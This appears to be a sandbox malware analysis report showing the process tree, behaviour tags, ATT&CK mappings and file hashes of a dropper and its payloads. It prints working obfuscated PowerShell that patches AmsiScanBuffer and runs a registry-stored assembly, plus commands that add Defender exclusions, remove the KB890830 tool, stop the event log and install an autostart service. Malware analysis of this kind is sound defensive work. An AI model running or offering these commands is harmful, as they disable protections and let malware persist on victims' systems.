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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" "function Local:IAToulBUgUYZ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$FBYlAFHFzDyhjZ,[Parameter(Position=1)][Type]$ELMSwwcDfJ)$PZWShKYdouE=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+''+[Char](102)+'l'+[Char](101)+''+'c'+''+[Char](116)+''+[Char](101)+'dD'+[Char](101)+'l'+[Char](101)+''+'g'+'a'+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+''+'e'+''+'m'+''+[Char](111)+''+'r'+''+[Char](121)+''+[Char](77)+'od'+[Char](117)+''+'l'+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+[Char](101)+''+[Char](108)+'e'+'g'+''+'a'+''+'t'+''+'e'+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'e'+''+'a'+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+'s'+''+[Char](105)+''+[Char](67)+'la'+[Char](115)+''+[Char](115)+',Au'+[Char](116)+''+[Char](111)+''+'C'+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$PZWShKYdouE.DefineConstructor(''+'R'+''+[Char](84)+'S'+'p'+''+[Char](101)+''+'c'+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+'y'+''+'S'+''+'i'+''+[Char](103)+','+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$FBYlAFHFzDyhjZ).SetImplementationFlags(''+'R'+''+[Char](117)+'n'+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+','+'M'+[Char](97)+''+[Char](110)+''+'a'+'ge'+'d'+'');$PZWShKYdouE.DefineMethod(''+'I'+''+'n'+''+[Char](118)+''+[Char](111)+''+[Char](107)+'e',''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+'H'+'id'+[Char](101)+''+'B'+'yS'+[Char](105)+''+[Char](103)+','+'N'+''+[Char](101)+''+[Char](119)+''+[Char](83)+'l'+'o'+''+'t'+''+[Char](44)+''+'V'+''+[Char](105)+''+[Char](114)+'tu'+'a'+''+[Char](108)+'',$ELMSwwcDfJ,$FBYlAFHFzDyhjZ).SetImplementationFlags('R'+'u'+''+'n'+''+[Char](116)+'im'+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+'e'+[Char](100)+'');Write-Output $PZWShKYdouE.CreateType();}$zdkBTlryINaOU=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+'m'+''+[Char](46)+''+[Char](100)+''+'l'+'l')}).GetType('M'+[Char](105)+''+[Char](99)+'r'+'o'+'s'+'o'+'f'+'t'+''+'.'+'W'+'i'+'n'+[Char](51)+'2'+[Char](46)+''+'U'+''+'n'+''+'s'+''+[Char](97)+''+[Char](102)+'e'+[Char](78)+'at'+[Char](105)+''+'v'+''+[Char](101)+'M'+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+'ds');$SMMTfkUNuciilM=$zdkBTlryINaOU.GetMethod('G'+'e'+''+[Char](116)+''+[Char](80)+'r'+'o'+''+'c'+''+'A'+'dd'+[Char](114)+''+[Char](101)+'s'+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+'ic'+','+''+[Char](83)+''+[Char](116)+''+'a'+''+'t'+''+'i'+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$cdnlQAQbXerZlJvryLf=IAToulBUgUYZ @([String])([IntPtr]);$UbPrjZWgxwXqPIhBgEnkxA=IAToulBUgUYZ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$UWAzIQURLyZ=$zdkBTlryINaOU.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](77)+''+'o'+''+'d'+''+[Char](117)+'le'+[Char](72)+'a'+'n'+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+[Char](110)+''+'e'+''+'l'+'3'+[Char](50)+''+'.'+'d'+[Char](108)+'l')));$SAxnTDgTJbpidA=$SMMTfkUNuciilM.Invoke($Null,@([Object]$UWAzIQURLyZ,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+[Char](114)+''+[Char](97)+'r'+'y'+''+[Char](65)+'')));$pcXHQCpRmQcIIuduU=$SMMTfkUNuciilM.Invoke($Null,@([Object]$UWAzIQURLyZ,[Object](''+'V'+''+[Char](105)+''+'r'+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+'t'+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$LowOSbX=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SAxnTDgTJbpidA,$cdnlQAQbXerZlJvryLf).Invoke('am'+[Char](115)+''+'i'+''+[Char](46)+''+'d'+'l'+'l'+'');$azPNLJjJXcYXHtBcV=$SMMTfkUNuciilM.Invoke($Null,@([Object]$LowOSbX,[Object]('A'+[Char](109)+''+[Char](115)+'i'+'S'+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+'u'+''+[Char](102)+'f'+'e'+''+'r'+'')));$aUPYhMAbGC=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pcXHQCpRmQcIIuduU,$UbPrjZWgxwXqPIhBgEnkxA).Invoke($azPNLJjJXcYXHtBcV,[uint32]8,4,[ref]$aUPYhMAbGC);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$azPNLJjJXcYXHtBcV,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pcXHQCpRmQcIIuduU,$UbPrjZWgxwXqPIhBgEnkxA).Invoke($azPNLJjJXcYXHtBcV,[uint32]8,0x20,[ref]$aUPYhMAbGC);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SO'+[Char](70)+''+[Char](84)+''+'W'+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+'le'+[Char](114)+'s'+'t'+''+[Char](97)+''+'g'+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5616
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" "function Local:vDMveFJxBFNr{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$HvtnagpusAhmWX,[Parameter(Position=1)][Type]$ZaiBFUYEcr)$LovvzaGbNbX=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'f'+[Char](108)+''+[Char](101)+''+'c'+''+[Char](116)+''+[Char](101)+'d'+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+'e'+''+[Char](109)+''+[Char](111)+''+'r'+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+''+'D'+'e'+'l'+'e'+'g'+'a'+'t'+'e'+[Char](84)+''+[Char](121)+''+[Char](112)+''+'e'+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+'ss'+[Char](44)+'Pu'+[Char](98)+''+'l'+'i'+[Char](99)+',S'+'e'+''+'a'+''+[Char](108)+''+[Char](101)+''+[Char](100)+',A'+[Char](110)+'si'+[Char](67)+''+'l'+''+'a'+''+[Char](115)+''+[Char](115)+''+','+''+[Char](65)+'uto'+[Char](67)+'l'+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$LovvzaGbNbX.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+''+'p'+''+[Char](101)+''+[Char](99)+'i'+'a'+''+[Char](108)+''+'N'+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+'de'+'B'+'yS'+[Char](105)+''+[Char](103)+''+','+'P'+[Char](117)+''+'b'+'l'+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$HvtnagpusAhmWX).SetImplementationFlags(''+[Char](82)+''+'u'+'nt'+'i'+''+[Char](109)+''+'e'+''+[Char](44)+'M'+[Char](97)+'na'+[Char](103)+'e'+[Char](100)+'');$LovvzaGbNbX.DefineMethod(''+'I'+''+[Char](110)+'vo'+[Char](107)+'e',''+[Char](80)+''+'u'+''+'b'+'l'+'i'+''+[Char](99)+''+[Char](44)+''+'H'+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+'New'+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+','+''+[Char](86)+''+'i'+'r'+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$ZaiBFUYEcr,$HvtnagpusAhmWX).SetImplementationFlags(''+[Char](82)+''+'u'+'n'+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+'M'+'a'+'n'+[Char](97)+''+'g'+'e'+[Char](100)+'');Write-Output $LovvzaGbNbX.CreateType();}$WDsIAMmYULqyy=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l')}).GetType(''+'M'+'i'+'c'+'ro'+'s'+''+'o'+''+[Char](102)+''+[Char](116)+''+[Char](46)+'Win3'+[Char](50)+'.'+[Char](85)+''+[Char](110)+''+[Char](115)+'a'+[Char](102)+''+[Char](101)+''+[Char](78)+'at'+'i'+''+'v'+''+'e'+''+[Char](77)+'e'+[Char](116)+'h'+[Char](111)+'d'+[Char](115)+'');$gnHUHCKhKofQjY=$WDsIAMmYULqyy.GetMethod(''+[Char](71)+'e'+[Char](116)+'Pro'+'c'+'Ad'+'d'+''+[Char](114)+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+''+','+'S'+'t'+''+'a'+''+[Char](116)+''+'i'+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$PxxcJsLzXTPYcbAIRnG=vDMveFJxBFNr @([String])([IntPtr]);$ouHqUOLsagYxuilbCyCRLL=vDMveFJxBFNr @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$OoReTLGqall=$WDsIAMmYULqyy.GetMethod(''+[Char](71)+''+[Char](101)+'tM'+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+''+[Char](72)+''+'a'+''+'n'+''+[Char](100)+''+'l'+'e').Invoke($Null,@([Object]('k'+'e'+''+[Char](114)+'n'+[Char](101)+''+'l'+''+[Char](51)+'2'+'.'+''+'d'+'ll')));$bkljrKUsQWXoKD=$gnHUHCKhKofQjY.Invoke($Null,@([Object]$OoReTLGqall,[Object](''+[Char](76)+'o'+'a'+''+[Char](100)+''+[Char](76)+''+'i'+'b'+'r'+''+[Char](97)+''+[Char](114)+'y'+'A'+'')));$HFSxQnBEWnZWwCOkO=$gnHUHCKhKofQjY.Invoke($Null,@([Object]$OoReTLGqall,[Object]('V'+[Char](105)+''+'r'+''+[Char](116)+'u'+[Char](97)+''+'l'+'P'+'r'+''+'o'+''+'t'+''+[Char](101)+''+'c'+''+[Char](116)+'')));$askhdGy=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($bkljrKUsQWXoKD,$PxxcJsLzXTPYcbAIRnG).Invoke(''+[Char](97)+'m'+[Char](115)+''+[Char](105)+''+[Char](46)+''+'d'+''+[Char](108)+'l');$jVPXHtcsokyYxPkDg=$gnHUHCKhKofQjY.Invoke($Null,@([Object]$askhdGy,[Object](''+'A'+''+'m'+''+[Char](115)+''+[Char](105)+''+'S'+''+[Char](99)+''+[Char](97)+''+'n'+''+'B'+''+[Char](117)+'f'+'f'+''+[Char](101)+''+[Char](114)+'')));$mCJUtUwzPg=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($HFSxQnBEWnZWwCOkO,$ouHqUOLsagYxuilbCyCRLL).Invoke($jVPXHtcsokyYxPkDg,[uint32]8,4,[ref]$mCJUtUwzPg);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$jVPXHtcsokyYxPkDg,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($HFSxQnBEWnZWwCOkO,$ouHqUOLsagYxuilbCyCRLL).Invoke($jVPXHtcsokyYxPkDg,[uint32]8,0x20,[ref]$mCJUtUwzPg);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+[Char](84)+''+[Char](87)+''+'A'+''+[Char](82)+''+'E'+'').GetValue('d'+[Char](105)+'a'+'l'+'e'+'r'+''+[Char](115)+'t'+[Char](97)+'g'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:5956 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4896
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1564
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1592
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1620
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1728
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1756
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:1576
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1772
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1788
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1892
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1928
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2024
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1456
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1440
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1516
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2068
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2164
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2188
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2296
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2484
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2500
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2592
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2600
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2632
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2688
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2760
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2772
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2896
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:3160
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3312
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of UnmapMainImage
PID:3392 -
C:\Users\Admin\AppData\Local\Temp\keshka.exe"C:\Users\Admin\AppData\Local\Temp\keshka.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5424 -
C:\Users\Admin\AppData\Local\Microsoft\dwm.exeC:\Users\Admin\AppData\Local\Microsoft\dwm.exe3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3380 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe4⤵
- Badlisted process makes network request
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3544
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C:\Program Files\Google\Chrome\Application\dwm.exe"C:\Program Files\Google\Chrome\Application\dwm.exe" -4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3436
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C:\Program Files (x86)\Microsoft\Edge\Application\dwm.exe"C:\Program Files (x86)\Microsoft\Edge\Application\dwm.exe" -4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4124
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C:\Windows\SysWOW64\cmd.execmd.exe /c "start C:\Users\Admin\AppData\Local\Temp/f.exe"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5220 -
C:\Users\Admin\AppData\Local\Temp\f.exeC:\Users\Admin\AppData\Local\Temp/f.exe5⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5848 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4820
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart6⤵
- Suspicious use of WriteProcessMemory
PID:556 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart7⤵PID:5412
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe6⤵PID:5896
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "OXBNXCPO"6⤵
- Launches sc.exe
PID:4992
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "OXBNXCPO" binpath= "C:\ProgramData\bizecusnoqzx\rjyzvekkqzsi.exe" start= "auto"6⤵
- Launches sc.exe
PID:2012
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog6⤵
- Launches sc.exe
PID:5000
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "OXBNXCPO"6⤵
- Launches sc.exe
PID:5520
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3532
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3808
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4016
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:1984
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:5072
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:5468
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:4568
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:844
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:1096
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:2532
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2984
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:4680
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:440
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:2768
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C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca1⤵PID:4452
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:5768
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks processor information in registry
PID:5924
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:1500
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:3824
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵PID:6024
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C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:5252
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C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:5180
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C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵PID:2528
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:1700
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C:\ProgramData\bizecusnoqzx\rjyzvekkqzsi.exeC:\ProgramData\bizecusnoqzx\rjyzvekkqzsi.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5168 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1188
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2568 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵PID:4248
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵PID:3552
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵PID:5128
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C:\Windows\system32\dialer.exedialer.exe2⤵
- Modifies data under HKEY_USERS
PID:4508
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1System Services
2Service Execution
2Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\dwm.exe
- Size 3.4MB
- SHA256 897b5101cafb0a9104381e8cd260c932df8cc2162bd2d4f26ba968f4b70c63e8
- MD5 20eef3d8647f48e17eb7f3804d836518
- SHA1 fbe3a3f8d08c980ca36cf9f10ac9f72982d899dc
- SHA512 8dc2e5f6568da07b03c7f793f7c70dfd7d48883d6fc473ab21931de02d41700f2d95c99a84047c1b144827573293fdd8d40b81219ce5a7d0605c6b7281f8f26a
- SSDEEP 98304:J90zEmNW6ABeiCR3MBpTrJNpHfGYMZBCwLCta:X0rk6wwR3c3tH9MbCwLC4
- TLSH T12DF53300C54F7BFAEE5259B4F8DCC5814D4EC5089ED2D69F0A269B76AB43B1C820639F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_usmydlar.h32.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\f.exe
- Size 2.7MB
- SHA256 03178333e6c5e08a20df6a6e3deef30a597ed18340bcbe43914e3d36c17bbfd9
- MD5 9d947a4794f98c1f7c7038eb22cce291
- SHA1 e6d450ca19790c0a0d490bb15c47f1ec79802104
- SHA512 0b1a56eb9c01992a0a7cde855611d46559405b7d6346a517d1372e5df773448a86792e470e07fd4382c32ad3d56ff550763271776762888d62972fc863a4dcdc
- SSDEEP 49152:JvC+/aWEG3CZAQ5DHWrtLf57HUrEvgaIvpoBfO0VVMNTCKxTkMiMZRWLfnN3Lbl:JvC+/a8QLmpHMTvpoBfZVeVYMZSdF
- TLSH T18AD5335D21C43FB9E9489A7A92841736922D3CF63EA0D543C8F01B4AE935BC54FBE2D4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
- Size 3KB
- SHA256 079b31aa6c5078c9a97ffc9cfd2778942fbb12359b05975eb18507b6a1f18438
- MD5 6db666b8eea8c87bb44fc342dbda5fcb
- SHA1 2536fb957e13fd2144e482970707286ca2625816
- SHA512 88fcd3e8aaefc443b3fac3ec5a55762424a9d2211b051a36daad0c6be63f7a3f6f51d4be4e89189be044c7df6bcbded7eab6d3cba07a7a1458c48604b365579e
- TLSH T12571CD323375B0D4C9567F07192C19C063BF4396EA98AF5CB65C521ED92750B9B222F3
- MD5 SHA1 SHA512 TLSH
